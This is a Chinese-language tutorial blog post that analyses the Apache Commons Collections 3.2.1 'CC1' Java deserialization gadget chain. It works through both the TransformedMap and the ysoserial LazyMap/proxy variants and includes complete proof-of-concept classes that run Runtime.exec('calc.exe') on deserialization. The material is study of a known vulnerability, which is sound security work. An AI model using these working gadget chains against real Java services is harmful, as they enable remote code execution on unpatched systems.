环境搭建

jdk_8u65 网上随便找的一个

sun源码包 下载后解压,把 jdk-af660750b2f4/src/share/classes/sun 放到jdk中src⽂件夹中,默认有个src.zip 需要先解压

还要导入src

新建maven项目

找到cc1链,存在漏洞的版本

https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

套上<dependencies>

xml重载一下,然后下载commons-collections源码

漏洞分析

那么就开始分析了

漏洞处

Transformer接口

Transformer.java中实现了这个接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}

注意这个transform方法,接受的是一个Object

idea按 ctrl+alt+b查看实现该接口的类

具体就不一个个看了,漏洞点就在InvokerTransformer

1
public class InvokerTransformer implements Transformer, Serializable

它对于transform的实现是这样写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

可以看到,try这里基本上就是反射常用的几个点,而iMethodNameiArgs在构造函数里是可以控制的

它又正好继承了Serializable,是可以反序列化的

普通java反射命令执行

1
2
3
4
5
6
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc.exe");
}

先正向实现一下

1
2
3
4
5
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
invokerTransformer.transform(r);
}

按照它的构造函数传,第二个是Class数组,第三个是Object数组

漏洞点证明存在,接下来就是找该transform的调用链,怎么用才能调用到这个transform,或者是同名transform函数

寻找漏洞链

右键Find usages

接下来就是慢慢找

像这种transform里调用transform就不用看了

可利用的大概是这么些方法

秉持着一般找Map衍生类的做法,就先看Map里面的

TransformedMap

此时进入到TransformedMap

构造方法是protected的,看静态方法

然后就看这三个具体方法

transformKey

它只有这两处可以调用,put一看就知道,填充Map

于是可以写出这种半成链

1
2
3
4
5
6
7
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
Map map = new HashedMap();
Map transformedMap = TransformedMap.decorate(map, invokerTransformer, null);
transformedMap.put(r, "value");
}

transformValue

接下来看第二个

同样也是put,只不过一个是key,一个是value,换换位置就行

1
2
3
4
5
6
7
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
Map map = new HashedMap();
Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
transformedMap.put("key", r);
}

checkSetValue

但是前面两个都只能在本类中进行调用,可利用性不大

最后是这个

这个AbstractInputCheckedMapDecoratorTransformedMap的父类

而它的名字叫setValue(),根据名字来理解,这就是对map遍历的赋值的时候调用的函数

AbstractInputCheckedMapDecorator 是 TransformedMap 的父类。对 HashMap 比较熟悉的 话对 Map.Entry 一定也不会陌生。 这里简单说一下,我们知道 Map 是用来存放键值对的,HashMap 中一对 k-v 是存放在 HashMap$Node 中的,而 Node 又实现了 Entry 接口,所以可以粗略地认为 k-v 是存放在 Entry 中的,遍历 Map 时,可以通过 entrySet()方法获取到一对对的 k-v(Map.Entry 类 型)。如下代码,通过遍历 TransformedMap,再使用 setValue()传入

引用一个师傅的,此时就相当于是,entry储存了key和value,然后对entry指向setValue,就是更改此时value的值

调试到这里的时候也能很明显的看到

而这里为什么会执行AbstractInputCheckedMapDecorator的该方法呢

因为AbstractInputCheckedMapDecorator是它的父类,内置了该setValue方法,在TransformedMap类中并未对该方法进行重写,所以执行setValue时是走到这里

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
Map map = new HashedMap();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r);
}
}

AnnotationInvocationHandler

前面两个都是该类的方法,链子不能进行到readObject,所以接下来就看AbstractInputCheckedMapDecoratorsetValue

虽然38处有点多,但是有一处的readObject直接调用了该方法

正是遍历的时候调用的

但是它的构造函数和构造器都不是public的(没写public等,就是default类型

default只能在该package下才能得到,所以只能用反射,构造也只能反射构造

反射

先不管其它的,把该类反射出来

构造函数

第一个类型是继承了注解的Class,第二个就是Map

呃呃

Override就是一个注解,所以实例化的时候直接Override.class就可以了

实例化代码

1
2
3
4
Class c = Class.forName("sun,reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

此时如果正常序列化最终得到的o,然后反序列化按理想状况就可以rce了

但是还有几个问题

Runtime不可序列化

Runtime不可序列化,但是它的Class是可以序列化的,即Runtime.Class

1
2
3
4
5
Class r = Runtime.class;
Method getRuntimeMethod = r.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = r.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc.exe");

反射命令执行是这样的,而这每一步都要利用InvokerTransformer来执行

我们再来看一下InvokerTransformer的相关参数

iMethodName很明显就是函数名,而iParamTypesparamTypes的元素在这里就是iMethodName该函数的参数类型,例如我们想执行getMethod(),在这里就得传入getMethod()的参数类型

那么第一步,得到getRuntimeMethod,即对Runtime.class执行getMethod(),参数类型为String和Class,但接受的paramTypes为Class数组,所以得传new Class[]{String.class, Class[].class},第一个参数String为getRuntime,第二个为null

最终编写如下

1
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

接下来Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);,将得到的静态构造函数执行,实例出一个Runtime

就是对getRuntimeMethod执行invoke,两个参数分别如下

最终编写

1
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);

最后就是直接对实例化出来的Runtime执行exec,参数如下

参数值为calc.exe,最终编写

1
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(r);

成功执行

这里有一个小优化,就是类ChainedTransformer

该类构造是接受一个Transformer数组

然后它的transform是对Transformer数组元素循环执行transform

然后上一个执行完得到的object充当下一轮的transform对象,本来我们需要传入的也只有Runtime.class

最后得到

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

所以目前,理想上来是编写出这样的链子就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
Map map = new HashedMap();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

两个if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

这里可以看到,AnnotationInvocationHandler执行readObject的时候还有两个if,保证两个if都为true就行

打个断点调试一下

这里获取了注解(也就是Override)的实例

然后在这里获取其成员方法(也就是key为方法名,value为返回类型)

举个例子

该注释类,最终得到的keyvalue

然后是这里

memberValues执行getKey方法,也就是得到此时key名,而这个map就是我们前面定义的HashMap

然后得到该key名之后,在前面注释类得到的keyvalue执行get方法,get(name)方法就是寻找key=namevalue

,也就是如果此时我们这个HashMapkey值等于注释类的key值,就能成功返回一个memberType

将这里改为”value”

再次执行,memberTypes就与我们所想的一样,是Target方法的返回类型

此时第二个if也是可以直接通过的

补充

前面编写chainedTransformer的时候说过,我们只需要第一个传入的值是Runtime.class,后面的就可以正常执行,所以我们还需要构造出一个执行完transform后,返回的是Runtime.class的类

这里又要说到一个类ConstantTransformer

它构造时给constantToReturn一个Runtime.class,然后它接受一个Object,都是返回该Runtime.class,很符合我们的要求

PS:因为第一个inputObject是这个类,不用管是怎么传进去的…

Gadget Chain

至此,整个链子就编写完成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashedMap();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

理一理Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*    
Gadget chain:
AnnotationInvocationHandler.readObject();
transformedMap.entrySet();
Entry.setValue();
transformedMap.checkSetValue();
chainedTransformer.transform();
ConstantTransformer.transform();
Runtime.class;
InvokerTransformer.transform();
Runtime.getMethod("getRuntime", null);
InvokerTransformer.transform();
Runtime.invoke(null, null);
InvokerTransformer.transform();
Runtime.exec("calc.exe");
*/

❀完结撒花❀

ysoserial

分析

ysoserialCommonsCollections1链和白日梦师傅不太一样,前者是国外发现cc1链时的链子,后者时国内师傅复现时挖出来的另外一条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/

大致都是一样的,只不过map一个用的是LazyMap一个是transformedMap

但是LazyMap这里是在get方法里面调用的transform,看链子显示的是在AnnotationInvocationHandler.invoke()方法中调用的LazyMap.get(),正好是我们输入的map

然后AnnotationInvocationHandler实际上是一个动态代理类,所以只要执行该类的方法时就一定会进入到invoke,但是要写一个动态代理…但是动态代理有点抽象,还不太懂,然后把那两个if绕过就完事

不过反过来想想,动态代理在java反序列化安全中的作用就是进入特定的invoke方法?

然后动态代理的写法其实都是固定的,会写就行了,也不一定非要理解

pop

前面的chainedTransformer的构造是一样的

然后代理这,我们相当于是给LazyMap代理了AnnotationInvocationHandler,从而得到一个新的对象,这个新的对象可以强转其类型

所以我们执行该新得到的对象中的方法时就会走到AnnotationInvocationHandlerinvoke方法

而在AnnotationInvocationHandlerreadObject中,for语句就已经执行了entrySet(),所以我们也无需绕过后面的if

然后AnnotationInvocationHandler的反射部分也是基本一样的,只不过需要给它的实例强转成InvocationHandler,而不就是Object了(代理的构造函数就是这样的

最后的入口还是AnnotationInvocationHandlerreadObject,所以最后再实例化一个对象,放入刚刚构建的代理类即可

所以其实这个链子是有两个AnnotationInvocationHandler实例的,而invoke方法里的if绕过就是执行的函数是一个无参函数,前面可以看到memberValues.entrySet(),正好就是一个无参函数,太巧了

最终的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;
import java.util.HashMap;

public class CC1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler i = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazyMap);
//构造代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);

Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, mapProxy);
//serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

最终呈现出来的效果就是报错,但是正常执行了命令